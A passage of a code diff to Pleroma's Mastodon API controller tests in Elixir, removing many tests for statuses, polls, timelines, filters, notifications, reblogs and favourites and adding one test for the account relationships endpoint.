}) - -      {:ok, ttl} = Cachex.ttl(:idempotency_cache, idempotency_key) -      # Six hours -      assert ttl > :timer.seconds(6 * 60 * 60 - 1) - -      assert %{"content" => "cofe", "id" => id, "spoiler_text" => "2hu", "sensitive" => false} = -               json_response(conn_one, 200) - -      assert Activity.get_by_id(id) - -      conn_two = -        conn -        |> put_req_header("idempotency-key", idempotency_key) -        |> post("/api/v1/statuses", %{ -          "status" => "cofe", -          "spoiler_text" => "2hu", -          "sensitive" => "false" -        }) - -      assert %{"id" => second_id} = json_response(conn_two, 200) -      assert id == second_id - -      conn_three = -        conn -        |> post("/api/v1/statuses", %{ -          "status" => "cofe", -          "spoiler_text" => "2hu", -          "sensitive" => "false" -        }) - -      assert %{"id" => third_id} = json_response(conn_three, 200) -      refute id == third_id - -      # An activity that will expire: -      # 2 hours -      expires_in = 120 * 60 - -      conn_four = -        conn -        |> post("api/v1/statuses", %{ -          "status" => "oolong", -          "expires_in" => expires_in -        }) - -      assert fourth_response = %{"id" => fourth_id} = json_response(conn_four, 200) -      assert activity = Activity.get_by_id(fourth_id) -      assert expiration = ActivityExpiration.get_by_activity_id(fourth_id) - -      estimated_expires_at = -        NaiveDateTime.utc_now() -        |> NaiveDateTime.add(expires_in) -        |> NaiveDateTime.truncate(:second) - -      # This assert will fail if the test takes longer than a minute. I sure hope it never does: -      assert abs(NaiveDateTime.diff(expiration.scheduled_at, estimated_expires_at, :second)) < 60 - -      assert fourth_response["pleroma"]["expires_at"] == -               NaiveDateTime.to_iso8601(expiration.scheduled_at) -    end - -    test "replying to a status", %{conn: conn} do -      user = insert(:user) -      {:ok, replied_to} = CommonAPI.post(user, %{"status" => "cofe"}) - -      conn = -        conn -        |> post("/api/v1/statuses", %{"status" => "xD", "in_reply_to_id" => replied_to.id}) - -      assert %{"content" => "xD", "id" => id} = json_response(conn, 200) - -      activity = Activity.get_by_id(id) - -      assert activity.data["context"] == replied_to.data["context"] -      assert Activity.get_in_reply_to_activity(activity).id == replied_to.id -    end - -    test "replying to a direct message with visibility other than direct", %{conn: conn} do -      user = insert(:user) -      {:ok, replied_to} = CommonAPI.post(user, %{"status" => "suya..", "visibility" => "direct"}) - -      Enum.each(["public", "private", "unlisted"], fn visibility -> -        conn = -          conn -          |> post("/api/v1/statuses", %{ -            "status" => "@#{user.nickname} hey", -            "in_reply_to_id" => replied_to.id, -            "visibility" => visibility -          }) - -        assert json_response(conn, 422) == %{"error" => "The message visibility must be direct"} -      end) -    end - -    test "posting a status with an invalid in_reply_to_id", %{conn: conn} do -      conn = -        conn -        |> post("/api/v1/statuses", %{"status" => "xD", "in_reply_to_id" => ""}) - -      assert %{"content" => "xD", "id" => id} = json_response(conn, 200) -      assert Activity.get_by_id(id) -    end - -    test "posting a sensitive status", %{conn: conn} do -      conn = -        conn -        |> post("/api/v1/statuses", %{"status" => "cofe", "sensitive" => true}) - -      assert %{"content" => "cofe", "id" => id, "sensitive" => true} = json_response(conn, 200) -      assert Activity.get_by_id(id) -    end - -    test "posting a fake status", %{conn: conn} do -      real_conn = -        conn -        |> post("/api/v1/statuses", %{ -          "status" => -            "\"Tenshi Eating a Corndog\" is a much discussed concept on /jp/. The significance of it is disputed, so I will focus on one core concept: the symbolism behind it" -        }) - -      real_status = json_response(real_conn, 200) - -      assert real_status -      assert Object.get_by_ap_id(real_status["uri"]) - -      real_status = -        real_status -        |> Map.put("id", nil) -        |> Map.put("url", nil) -        |> Map.put("uri", nil) -        |> Map.put("created_at", nil) -        |> Kernel.put_in(["pleroma", "conversation_id"], nil) - -      fake_conn = -        conn -        |> post("/api/v1/statuses", %{ -          "status" => -            "\"Tenshi Eating a Corndog\" is a much discussed concept on /jp/. The significance of it is disputed, so I will focus on one core concept: the symbolism behind it", -          "preview" => true -        }) - -      fake_status = json_response(fake_conn, 200) - -      assert fake_status -      refute Object.get_by_ap_id(fake_status["uri"]) - -      fake_status = -        fake_status -        |> Map.put("id", nil) -        |> Map.put("url", nil) -        |> Map.put("uri", nil) -        |> Map.put("created_at", nil) -        |> Kernel.put_in(["pleroma", "conversation_id"], nil) - -      assert real_status == fake_status -    end - -    test "posting a status with OGP link preview", %{conn: conn} do -      Config.put([:rich_media, :enabled], true) - -      conn = -        conn -        |> post("/api/v1/statuses", %{ -          "status" => "https://example.com/ogp" -        }) - -      assert %{"id" => id, "card" => %{"title" => "The Rock"}} = json_response(conn, 200) -      assert Activity.get_by_id(id) -    end - -    test "posting a direct status", %{conn: conn} do -      user2 = insert(:user) -      content = "direct cofe @#{user2.nickname}" - -      conn = -        conn -        |> post("api/v1/statuses", %{"status" => content, "visibility" => "direct"}) - -      assert %{"id" => id, "visibility" => "direct"} = json_response(conn, 200) -      assert activity = Activity.get_by_id(id) -      assert activity.recipients == [user2.ap_id, conn.assigns[:user].ap_id] -      assert activity.data["to"] == [user2.ap_id] -      assert activity.data["cc"] == [] -    end -  end - -  describe "posting polls" do -    test "posting a poll", %{conn: conn} do -      user = insert(:user) -      time = NaiveDateTime.utc_now() - -      conn = -        conn -        |> assign(:user, user) -        |> post("/api/v1/statuses", %{ -          "status" => "Who is the #bestgrill?", -          "poll" => %{"options" => ["Rei", "Asuka", "Misato"], "expires_in" => 420} -        }) - -      response = json_response(conn, 200) - -      assert Enum.all?(response["poll"]["options"], fn %{"title" => title} -> -               title in ["Rei", "Asuka", "Misato"] -             end) - -      assert NaiveDateTime.diff(NaiveDateTime.from_iso8601!(response["poll"]["expires_at"]), time) in 420..430 -      refute response["poll"]["expred"] -    end - -    test "option limit is enforced", %{conn: conn} do -      user = insert(:user) -      limit = Config.get([:instance, :poll_limits, :max_options]) - -      conn = -        conn -        |> assign(:user, user) -        |> post("/api/v1/statuses", %{ -          "status" => "desu~", -          "poll" => %{"options" => Enum.map(0..limit, fn _ -> "desu" end), "expires_in" => 1} -        }) - -      %{"error" => error} = json_response(conn, 422) -      assert error == "Poll can't contain more than #{limit} options" -    end - -    test "option character limit is enforced", %{conn: conn} do -      user = insert(:user) -      limit = Config.get([:instance, :poll_limits, :max_option_chars]) - -      conn = -        conn -        |> assign(:user, user) -        |> post("/api/v1/statuses", %{ -          "status" => "...", -          "poll" => %{ -            "options" => [Enum.reduce(0..limit, "", fn _, acc -> acc <> "." end)], -            "expires_in" => 1 -          } -        }) - -      %{"error" => error} = json_response(conn, 422) -      assert error == "Poll options cannot be longer than #{limit} characters each" -    end - -    test "minimal date limit is enforced", %{conn: conn} do -      user = insert(:user) -      limit = Config.get([:instance, :poll_limits, :min_expiration]) - -      conn = -        conn -        |> assign(:user, user) -        |> post("/api/v1/statuses", %{ -          "status" => "imagine arbitrary limits", -          "poll" => %{ -            "options" => ["this post was made by pleroma gang"], -            "expires_in" => limit - 1 -          } -        }) - -      %{"error" => error} = json_response(conn, 422) -      assert error == "Expiration date is too soon" -    end - -    test "maximum date limit is enforced", %{conn: conn} do -      user = insert(:user) -      limit = Config.get([:instance, :poll_limits, :max_expiration]) - -      conn = -        conn -        |> assign(:user, user) -        |> post("/api/v1/statuses", %{ -          "status" => "imagine arbitrary limits", -          "poll" => %{ -            "options" => ["this post was made by pleroma gang"], -            "expires_in" => limit + 1 -          } -        }) - -      %{"error" => error} = json_response(conn, 422) -      assert error == "Expiration date is too far in the future" -    end -  end - -  test "direct timeline", %{conn: conn} do -    user_one = insert(:user) -    user_two = insert(:user) - -    {:ok, user_two} = User.follow(user_two, user_one) - -    {:ok, direct} = -      CommonAPI.post(user_one, %{ -        "status" => "Hi @#{user_two.nickname}!", -        "visibility" => "direct" -      }) - -    {:ok, _follower_only} = -      CommonAPI.post(user_one, %{ -        "status" => "Hi @#{user_two.nickname}!", -        "visibility" => "private" -      }) - -    # Only direct should be visible here -    res_conn = -      conn -      |> assign(:user, user_two) -      |> get("api/v1/timelines/direct") - -    [status] = json_response(res_conn, 200) - -    assert %{"visibility" => "direct"} = status -    assert status["url"] != direct.data["id"] - -    # User should be able to see their own direct message -    res_conn = -      build_conn() -      |> assign(:user, user_one) -      |> get("api/v1/timelines/direct") - -    [status] = json_response(res_conn, 200) - -    assert %{"visibility" => "direct"} = status - -    # Both should be visible here -    res_conn = -      conn -      |> assign(:user, user_two) -      |> get("api/v1/timelines/home") - -    [_s1, _s2] = json_response(res_conn, 200) - -    # Test pagination -    Enum.each(1..20, fn _ -> -      {:ok, _} = -        CommonAPI.post(user_one, %{ -          "status" => "Hi @#{user_two.nickname}!", -          "visibility" => "direct" -        }) -    end) - -    res_conn = -      conn -      |> assign(:user, user_two) -      |> get("api/v1/timelines/direct") - -    statuses = json_response(res_conn, 200) -    assert length(statuses) == 20 - -    res_conn = -      conn -      |> assign(:user, user_two) -      |> get("api/v1/timelines/direct", %{max_id: List.last(statuses)["id"]}) - -    [status] = json_response(res_conn, 200) - -    assert status["url"] != direct.data["id"] -  end - -  test "Conversations", %{conn: conn} do -    user_one = insert(:user) -    user_two = insert(:user) -    user_three = insert(:user) - -    {:ok, user_two} = User.follow(user_two, user_one) - -    {:ok, direct} = -      CommonAPI.post(user_one, %{ -        "status" => "Hi @#{user_two.nickname}, @#{user_three.nickname}!", -        "visibility" => "direct" -      }) - -    {:ok, _follower_only} = -      CommonAPI.post(user_one, %{ -        "status" => "Hi @#{user_two.nickname}!", -        "visibility" => "private" -      }) - -    res_conn = -      conn -      |> assign(:user, user_one) -      |> get("/api/v1/conversations") - -    assert response = json_response(res_conn, 200) - -    assert [ -             %{ -               "id" => res_id, -               "accounts" => res_accounts, -               "last_status" => res_last_status, -               "unread" => unread -             } -           ] = response - -    account_ids = Enum.map(res_accounts, & &1["id"]) -    assert length(res_accounts) == 2 -    assert user_two.id in account_ids -    assert user_three.id in account_ids -    assert is_binary(res_id) -    assert unread == true -    assert res_last_status["id"] == direct.id - -    # Apparently undocumented API endpoint -    res_conn = -      conn -      |> assign(:user, user_one) -      |> post("/api/v1/conversations/#{res_id}/read") - -    assert response = json_response(res_conn, 200) -    assert length(response["accounts"]) == 2 -    assert response["last_status"]["id"] == direct.id -    assert response["unread"] == false - -    # (vanilla) Mastodon frontend behaviour -    res_conn = -      conn -      |> assign(:user, user_one) -      |> get("/api/v1/statuses/#{res_last_status["id"]}/context") - -    assert %{"ancestors" => [], "descendants" => []} == json_response(res_conn, 200) -  end - -  test "doesn't include DMs from blocked users", %{conn: conn} do -    blocker = insert(:user) -    blocked = insert(:user) -    user = insert(:user) -    {:ok, blocker} = User.block(blocker, blocked) - -    {:ok, _blocked_direct} = -      CommonAPI.post(blocked, %{ -        "status" => "Hi @#{blocker.nickname}!", -        "visibility" => "direct" -      }) - -    {:ok, direct} = -      CommonAPI.post(user, %{ -        "status" => "Hi @#{blocker.nickname}!", -        "visibility" => "direct" -      }) - -    res_conn = -      conn -      |> assign(:user, user) -      |> get("api/v1/timelines/direct") - -    [status] = json_response(res_conn, 200) -    assert status["id"] == direct.id -  end -    test "verify_credentials", %{conn: conn} do      user = insert(:user) @@ -733,700 +202,6 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIControllerTest do      assert expected == json_response(conn, 200)    end -  test "get a status", %{conn: conn} do -    activity = insert(:note_activity) - -    conn = -      conn -      |> get("/api/v1/statuses/#{activity.id}") - -    assert %{"id" => id} = json_response(conn, 200) -    assert id == to_string(activity.id) -  end - -  test "get statuses by IDs", %{conn: conn} do -    %{id: id1} = insert(:note_activity) -    %{id: id2} = insert(:note_activity) - -    query_string = "ids[]=#{id1}&ids[]=#{id2}" -    conn = get(conn, "/api/v1/statuses/?#{query_string}") - -    assert [%{"id" => ^id1}, %{"id" => ^id2}] = json_response(conn, :ok) -  end - -  describe "deleting a status" do -    test "when you created it", %{conn: conn} do -      activity = insert(:note_activity) -      author = User.get_cached_by_ap_id(activity.data["actor"]) - -      conn = -        conn -        |> assign(:user, author) -        |> delete("/api/v1/statuses/#{activity.id}") - -      assert %{} = json_response(conn, 200) - -      refute Activity.get_by_id(activity.id) -    end - -    test "when you didn't create it", %{conn: conn} do -      activity = insert(:note_activity) -      user = insert(:user) - -      conn = -        conn -        |> assign(:user, user) -        |> delete("/api/v1/statuses/#{activity.id}") - -      assert %{"error" => _} = json_response(conn, 403) - -      assert Activity.get_by_id(activity.id) == activity -    end - -    test "when you're an admin or moderator", %{conn: conn} do -      activity1 = insert(:note_activity) -      activity2 = insert(:note_activity) -      admin = insert(:user, info: %{is_admin: true}) -      moderator = insert(:user, info: %{is_moderator: true}) - -      res_conn = -        conn -        |> assign(:user, admin) -        |> delete("/api/v1/statuses/#{activity1.id}") - -      assert %{} = json_response(res_conn, 200) - -      res_conn = -        conn -        |> assign(:user, moderator) -        |> delete("/api/v1/statuses/#{activity2.id}") - -      assert %{} = json_response(res_conn, 200) - -      refute Activity.get_by_id(activity1.id) -      refute Activity.get_by_id(activity2.id) -    end -  end - -  describe "filters" do -    test "creating a filter", %{conn: conn} do -      user = insert(:user) - -      filter = %Pleroma.Filter{ -        phrase: "knights", -        context: ["home"] -      } - -      conn = -        conn -        |> assign(:user, user) -        |> post("/api/v1/filters", %{"phrase" => filter.phrase, context: filter.context}) - -      assert response = json_response(conn, 200) -      assert response["phrase"] == filter.phrase -      assert response["context"] == filter.context -      assert response["irreversible"] == false -      assert response["id"] != nil -      assert response["id"] != "" -    end - -    test "fetching a list of filters", %{conn: conn} do -      user = insert(:user) - -      query_one = %Pleroma.Filter{ -        user_id: user.id, -        filter_id: 1, -        phrase: "knights", -        context: ["home"] -      } - -      query_two = %Pleroma.Filter{ -        user_id: user.id, -        filter_id: 2, -        phrase: "who", -        context: ["home"] -      } - -      {:ok, filter_one} = Pleroma.Filter.create(query_one) -      {:ok, filter_two} = Pleroma.Filter.create(query_two) - -      response = -        conn -        |> assign(:user, user) -        |> get("/api/v1/filters") -        |> json_response(200) - -      assert response == -               render_json( -                 FilterView, -                 "filters.json", -                 filters: [filter_two, filter_one] -               ) -    end - -    test "get a filter", %{conn: conn} do -      user = insert(:user) - -      query = %Pleroma.Filter{ -        user_id: user.id, -        filter_id: 2, -        phrase: "knight", -        context: ["home"] -      } - -      {:ok, filter} = Pleroma.Filter.create(query) - -      conn = -        conn -        |> assign(:user, user) -        |> get("/api/v1/filters/#{filter.filter_id}") - -      assert _response = json_response(conn, 200) -    end - -    test "update a filter", %{conn: conn} do -      user = insert(:user) - -      query = %Pleroma.Filter{ -        user_id: user.id, -        filter_id: 2, -        phrase: "knight", -        context: ["home"] -      } - -      {:ok, _filter} = Pleroma.Filter.create(query) - -      new = %Pleroma.Filter{ -        phrase: "nii", -        context: ["home"] -      } - -      conn = -        conn -        |> assign(:user, user) -        |> put("/api/v1/filters/#{query.filter_id}", %{ -          phrase: new.phrase, -          context: new.context -        }) - -      assert response = json_response(conn, 200) -      assert response["phrase"] == new.phrase -      assert response["context"] == new.context -    end - -    test "delete a filter", %{conn: conn} do -      user = insert(:user) - -      query = %Pleroma.Filter{ -        user_id: user.id, -        filter_id: 2, -        phrase: "knight", -        context: ["home"] -      } - -      {:ok, filter} = Pleroma.Filter.create(query) - -      conn = -        conn -        |> assign(:user, user) -        |> delete("/api/v1/filters/#{filter.filter_id}") - -      assert response = json_response(conn, 200) -      assert response == %{} -    end -  end - -  describe "list timelines" do -    test "list timeline", %{conn: conn} do -      user = insert(:user) -      other_user = insert(:user) -      {:ok, _activity_one} = CommonAPI.post(user, %{"status" => "Marisa is cute."}) -      {:ok, activity_two} = CommonAPI.post(other_user, %{"status" => "Marisa is cute."}) -      {:ok, list} = Pleroma.List.create("name", user) -      {:ok, list} = Pleroma.List.follow(list, other_user) - -      conn = -        conn -        |> assign(:user, user) -        |> get("/api/v1/timelines/list/#{list.id}") - -      assert [%{"id" => id}] = json_response(conn, 200) - -      assert id == to_string(activity_two.id) -    end - -    test "list timeline does not leak non-public statuses for unfollowed users", %{conn: conn} do -      user = insert(:user) -      other_user = insert(:user) -      {:ok, activity_one} = CommonAPI.post(other_user, %{"status" => "Marisa is cute."}) - -      {:ok, _activity_two} = -        CommonAPI.post(other_user, %{ -          "status" => "Marisa is cute.", -          "visibility" => "private" -        }) - -      {:ok, list} = Pleroma.List.create("name", user) -      {:ok, list} = Pleroma.List.follow(list, other_user) - -      conn = -        conn -        |> assign(:user, user) -        |> get("/api/v1/timelines/list/#{list.id}") - -      assert [%{"id" => id}] = json_response(conn, 200) - -      assert id == to_string(activity_one.id) -    end -  end - -  describe "notifications" do -    test "list of notifications", %{conn: conn} do -      user = insert(:user) -      other_user = insert(:user) - -      {:ok, activity} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"}) - -      {:ok, [_notification]} = Notification.create_notifications(activity) - -      conn = -        conn -        |> assign(:user, user) -        |> get("/api/v1/notifications") - -      expected_response = -        "hi <span class=\"h-card\"><a data-user=\"#{user.id}\" class=\"u-url mention\" href=\"#{ -          user.ap_id -        }\">@<span>#{user.nickname}</span></a></span>" - -      assert [%{"status" => %{"content" => response}} | _rest] = json_response(conn, 200) -      assert response == expected_response -    end - -    test "getting a single notification", %{conn: conn} do -      user = insert(:user) -      other_user = insert(:user) - -      {:ok, activity} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"}) - -      {:ok, [notification]} = Notification.create_notifications(activity) - -      conn = -        conn -        |> assign(:user, user) -        |> get("/api/v1/notifications/#{notification.id}") - -      expected_response = -        "hi <span class=\"h-card\"><a data-user=\"#{user.id}\" class=\"u-url mention\" href=\"#{ -          user.ap_id -        }\">@<span>#{user.nickname}</span></a></span>" - -      assert %{"status" => %{"content" => response}} = json_response(conn, 200) -      assert response == expected_response -    end - -    test "dismissing a single notification", %{conn: conn} do -      user = insert(:user) -      other_user = insert(:user) - -      {:ok, activity} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"}) - -      {:ok, [notification]} = Notification.create_notifications(activity) - -      conn = -        conn -        |> assign(:user, user) -        |> post("/api/v1/notifications/dismiss", %{"id" => notification.id}) - -      assert %{} = json_response(conn, 200) -    end - -    test "clearing all notifications", %{conn: conn} do -      user = insert(:user) -      other_user = insert(:user) - -      {:ok, activity} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"}) - -      {:ok, [_notification]} = Notification.create_notifications(activity) - -      conn = -        conn -        |> assign(:user, user) -        |> post("/api/v1/notifications/clear") - -      assert %{} = json_response(conn, 200) - -      conn = -        build_conn() -        |> assign(:user, user) -        |> get("/api/v1/notifications") - -      assert all = json_response(conn, 200) -      assert all == [] -    end - -    test "paginates notifications using min_id, since_id, max_id, and limit", %{conn: conn} do -      user = insert(:user) -      other_user = insert(:user) - -      {:ok, activity1} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"}) -      {:ok, activity2} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"}) -      {:ok, activity3} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"}) -      {:ok, activity4} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"}) - -      notification1_id = Repo.get_by(Notification, activity_id: activity1.id).id |> to_string() -      notification2_id = Repo.get_by(Notification, activity_id: activity2.id).id |> to_string() -      notification3_id = Repo.get_by(Notification, activity_id: activity3.id).id |> to_string() -      notification4_id = Repo.get_by(Notification, activity_id: activity4.id).id |> to_string() - -      conn = -        conn -        |> assign(:user, user) - -      # min_id -      conn_res = -        conn -        |> get("/api/v1/notifications?limit=2&min_id=#{notification1_id}") - -      result = json_response(conn_res, 200) -      assert [%{"id" => ^notification3_id}, %{"id" => ^notification2_id}] = result - -      # since_id -      conn_res = -        conn -        |> get("/api/v1/notifications?limit=2&since_id=#{notification1_id}") - -      result = json_response(conn_res, 200) -      assert [%{"id" => ^notification4_id}, %{"id" => ^notification3_id}] = result - -      # max_id -      conn_res = -        conn -        |> get("/api/v1/notifications?limit=2&max_id=#{notification4_id}") - -      result = json_response(conn_res, 200) -      assert [%{"id" => ^notification3_id}, %{"id" => ^notification2_id}] = result -    end - -    test "filters notifications using exclude_types", %{conn: conn} do -      user = insert(:user) -      other_user = insert(:user) - -      {:ok, mention_activity} = CommonAPI.post(other_user, %{"status" => "hey @#{user.nickname}"}) -      {:ok, create_activity} = CommonAPI.post(user, %{"status" => "hey"}) -      {:ok, favorite_activity, _} = CommonAPI.favorite(create_activity.id, other_user) -      {:ok, reblog_activity, _} = CommonAPI.repeat(create_activity.id, other_user) -      {:ok, _, _, follow_activity} = CommonAPI.follow(other_user, user) - -      mention_notification_id = -        Repo.get_by(Notification, activity_id: mention_activity.id).id |> to_string() - -      favorite_notification_id = -        Repo.get_by(Notification, activity_id: favorite_activity.id).id |> to_string() - -      reblog_notification_id = -        Repo.get_by(Notification, activity_id: reblog_activity.id).id |> to_string() - -      follow_notification_id = -        Repo.get_by(Notification, activity_id: follow_activity.id).id |> to_string() - -      conn = -        conn -        |> assign(:user, user) - -      conn_res = -        get(conn, "/api/v1/notifications", %{exclude_types: ["mention", "favourite", "reblog"]}) - -      assert [%{"id" => ^follow_notification_id}] = json_response(conn_res, 200) - -      conn_res = -        get(conn, "/api/v1/notifications", %{exclude_types: ["favourite", "reblog", "follow"]}) - -      assert [%{"id" => ^mention_notification_id}] = json_response(conn_res, 200) - -      conn_res = -        get(conn, "/api/v1/notifications", %{exclude_types: ["reblog", "follow", "mention"]}) - -      assert [%{"id" => ^favorite_notification_id}] = json_response(conn_res, 200) - -      conn_res = -        get(conn, "/api/v1/notifications", %{exclude_types: ["follow", "mention", "favourite"]}) - -      assert [%{"id" => ^reblog_notification_id}] = json_response(conn_res, 200) -    end - -    test "destroy multiple", %{conn: conn} do -      user = insert(:user) -      other_user = insert(:user) - -      {:ok, activity1} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"}) -      {:ok, activity2} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"}) -      {:ok, activity3} = CommonAPI.post(user, %{"status" => "hi @#{other_user.nickname}"}) -      {:ok, activity4} = CommonAPI.post(user, %{"status" => "hi @#{other_user.nickname}"}) - -      notification1_id = Repo.get_by(Notification, activity_id: activity1.id).id |> to_string() -      notification2_id = Repo.get_by(Notification, activity_id: activity2.id).id |> to_string() -      notification3_id = Repo.get_by(Notification, activity_id: activity3.id).id |> to_string() -      notification4_id = Repo.get_by(Notification, activity_id: activity4.id).id |> to_string() - -      conn = -        conn -        |> assign(:user, user) - -      conn_res = -        conn -        |> get("/api/v1/notifications") - -      result = json_response(conn_res, 200) -      assert [%{"id" => ^notification2_id}, %{"id" => ^notification1_id}] = result - -      conn2 = -        conn -        |> assign(:user, other_user) - -      conn_res = -        conn2 -        |> get("/api/v1/notifications") - -      result = json_response(conn_res, 200) -      assert [%{"id" => ^notification4_id}, %{"id" => ^notification3_id}] = result - -      conn_destroy = -        conn -        |> delete("/api/v1/notifications/destroy_multiple", %{ -          "ids" => [notification1_id, notification2_id] -        }) - -      assert json_response(conn_destroy, 200) == %{} - -      conn_res = -        conn2 -        |> get("/api/v1/notifications") - -      result = json_response(conn_res, 200) -      assert [%{"id" => ^notification4_id}, %{"id" => ^notification3_id}] = result -    end - -    test "doesn't see notifications after muting user with notifications", %{conn: conn} do -      user = insert(:user) -      user2 = insert(:user) - -      {:ok, _, _, _} = CommonAPI.follow(user, user2) -      {:ok, _} = CommonAPI.post(user2, %{"status" => "hey @#{user.nickname}"}) - -      conn = assign(conn, :user, user) - -      conn = get(conn, "/api/v1/notifications") - -      assert length(json_response(conn, 200)) == 1 - -      {:ok, user} = User.mute(user, user2) - -      conn = assign(build_conn(), :user, user) -      conn = get(conn, "/api/v1/notifications") - -      assert json_response(conn, 200) == [] -    end - -    test "see notifications after muting user without notifications", %{conn: conn} do -      user = insert(:user) -      user2 = insert(:user) - -      {:ok, _, _, _} = CommonAPI.follow(user, user2) -      {:ok, _} = CommonAPI.post(user2, %{"status" => "hey @#{user.nickname}"}) - -      conn = assign(conn, :user, user) - -      conn = get(conn, "/api/v1/notifications") - -      assert length(json_response(conn, 200)) == 1 - -      {:ok, user} = User.mute(user, user2, false) - -      conn = assign(build_conn(), :user, user) -      conn = get(conn, "/api/v1/notifications") - -      assert length(json_response(conn, 200)) == 1 -    end - -    test "see notifications after muting user with notifications and with_muted parameter", %{ -      conn: conn -    } do -      user = insert(:user) -      user2 = insert(:user) - -      {:ok, _, _, _} = CommonAPI.follow(user, user2) -      {:ok, _} = CommonAPI.post(user2, %{"status" => "hey @#{user.nickname}"}) - -      conn = assign(conn, :user, user) - -      conn = get(conn, "/api/v1/notifications") - -      assert length(json_response(conn, 200)) == 1 - -      {:ok, user} = User.mute(user, user2) - -      conn = assign(build_conn(), :user, user) -      conn = get(conn, "/api/v1/notifications", %{"with_muted" => "true"}) - -      assert length(json_response(conn, 200)) == 1 -    end -  end - -  describe "reblogging" do -    test "reblogs and returns the reblogged status", %{conn: conn} do -      activity = insert(:note_activity) -      user = insert(:user) - -      conn = -        conn -        |> assign(:user, user) -        |> post("/api/v1/statuses/#{activity.id}/reblog") - -      assert %{ -               "reblog" => %{"id" => id, "reblogged" => true, "reblogs_count" => 1}, -               "reblogged" => true -             } = json_response(conn, 200) - -      assert to_string(activity.id) == id -    end - -    test "reblogged status for another user", %{conn: conn} do -      activity = insert(:note_activity) -      user1 = insert(:user) -      user2 = insert(:user) -      user3 = insert(:user) -      CommonAPI.favorite(activity.id, user2) -      {:ok, _bookmark} = Pleroma.Bookmark.create(user2.id, activity.id) -      {:ok, reblog_activity1, _object} = CommonAPI.repeat(activity.id, user1) -      {:ok, _, _object} = CommonAPI.repeat(activity.id, user2) - -      conn_res = -        conn -        |> assign(:user, user3) -        |> get("/api/v1/statuses/#{reblog_activity1.id}") - -      assert %{ -               "reblog" => %{"id" => id, "reblogged" => false, "reblogs_count" => 2}, -               "reblogged" => false, -               "favourited" => false, -               "bookmarked" => false -             } = json_response(conn_res, 200) - -      conn_res = -        conn -        |> assign(:user, user2) -        |> get("/api/v1/statuses/#{reblog_activity1.id}") - -      assert %{ -               "reblog" => %{"id" => id, "reblogged" => true, "reblogs_count" => 2}, -               "reblogged" => true, -               "favourited" => true, -               "bookmarked" => true -             } = json_response(conn_res, 200) - -      assert to_string(activity.id) == id -    end - -    test "returns 400 error when activity is not exist", %{conn: conn} do -      user = insert(:user) - -      conn = -        conn -        |> assign(:user, user) -        |> post("/api/v1/statuses/foo/reblog") - -      assert json_response(conn, 400) == %{"error" => "Could not repeat"} -    end -  end - -  describe "unreblogging" do -    test "unreblogs and returns the unreblogged status", %{conn: conn} do -      activity = insert(:note_activity) -      user = insert(:user) - -      {:ok, _, _} = CommonAPI.repeat(activity.id, user) - -      conn = -        conn -        |> assign(:user, user) -        |> post("/api/v1/statuses/#{activity.id}/unreblog") - -      assert %{"id" => id, "reblogged" => false, "reblogs_count" => 0} = json_response(conn, 200) - -      assert to_string(activity.id) == id -    end - -    test "returns 400 error when activity is not exist", %{conn: conn} do -      user = insert(:user) - -      conn = -        conn -        |> assign(:user, user) -        |> post("/api/v1/statuses/foo/unreblog") - -      assert json_response(conn, 400) == %{"error" => "Could not unrepeat"} -    end -  end - -  describe "favoriting" do -    test "favs a status and returns it", %{conn: conn} do -      activity = insert(:note_activity) -      user = insert(:user) - -      conn = -        conn -        |> assign(:user, user) -        |> post("/api/v1/statuses/#{activity.id}/favourite") - -      assert %{"id" => id, "favourites_count" => 1, "favourited" => true} = -               json_response(conn, 200) - -      assert to_string(activity.id) == id -    end - -    test "returns 400 error for a wrong id", %{conn: conn} do -      user = insert(:user) - -      conn = -        conn -        |> assign(:user, user) -        |> post("/api/v1/statuses/1/favourite") - -      assert json_response(conn, 400) == %{"error" => "Could not favorite"} -    end -  end - -  describe "unfavoriting" do -    test "unfavorites a status and returns it", %{conn: conn} do -      activity = insert(:note_activity) -      user = insert(:user) - -      {:ok, _, _} = CommonAPI.favorite(activity.id, user) - -      conn = -        conn -        |> assign(:user, user) -        |> post("/api/v1/statuses/#{activity.id}/unfavourite") - -      assert %{"id" => id, "favourites_count" => 0, "favourited" => false} = -               json_response(conn, 200) - -      assert to_string(activity.id) == id -    end - -    test "returns 400 error for a wrong id", %{conn: conn} do -      user = insert(:user) - -      conn = -        conn -        |> assign(:user, user) -        |> post("/api/v1/statuses/1/unfavourite") - -      assert json_response(conn, 400) == %{"error" => "Could not unfavorite"} -    end -  end -    describe "user timelines" do      test "gets a users statuses", %{conn: conn} do        user_one = insert(:user) @@ -1561,6 +336,17 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIControllerTest do        assert to_string(other_user.id) == relationship["id"]      end + +    test "returns an empty list on a bad request", %{conn: conn} do +      user = insert(:user) + +      conn = +        conn +        |> assign(:user, user) +        |> get("/api/v1/accounts/relationships", %{}) + +      assert [] = json_response(conn, 200) +    end    end    describe "media upload" do @@ -1601,51 +387,6 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIControllerTest do    end    describe "locked accounts" do -    test "/api/v1/follow_requests works" do -      user = insert(:user, %{info: %User.Info{locked: true}}) -      other_user = insert(:user) - -      {:ok, _activity} = ActivityPub.follow(other_user, user) - -      user = User.get_cached_by_id(user.id) -      other_user = User.get_cached_by_id(other_user.id) - -      assert User.following?(other_user, user) == false - -      conn = -        build_conn() -        |> assign(:user, user) -        |> get("/api/v1/follow_requests") - -      assert [relationship] = json_response(conn, 200) -      assert to_string(other_user.id) == relationship["id"] -    end - -    test "/api/v1/follow_requests/:id/authorize works" do -      user = insert(:user, %{info: %User.Info{locked: true}}) -      other_user = insert(:user) - -      {:ok, _activity} = ActivityPub.follow(other_user, user) - -      user = User.get_cached_by_id(user.id) -      other_user = User.get_cached_by_id(other_user.id) - -      assert User.following?(other_user, user) == false - -      conn = -        build_conn() -        |> assign(:user, user) -        |> post("/api/v1/follow_requests/#{other_user.id}/authorize") - -      assert relationship = 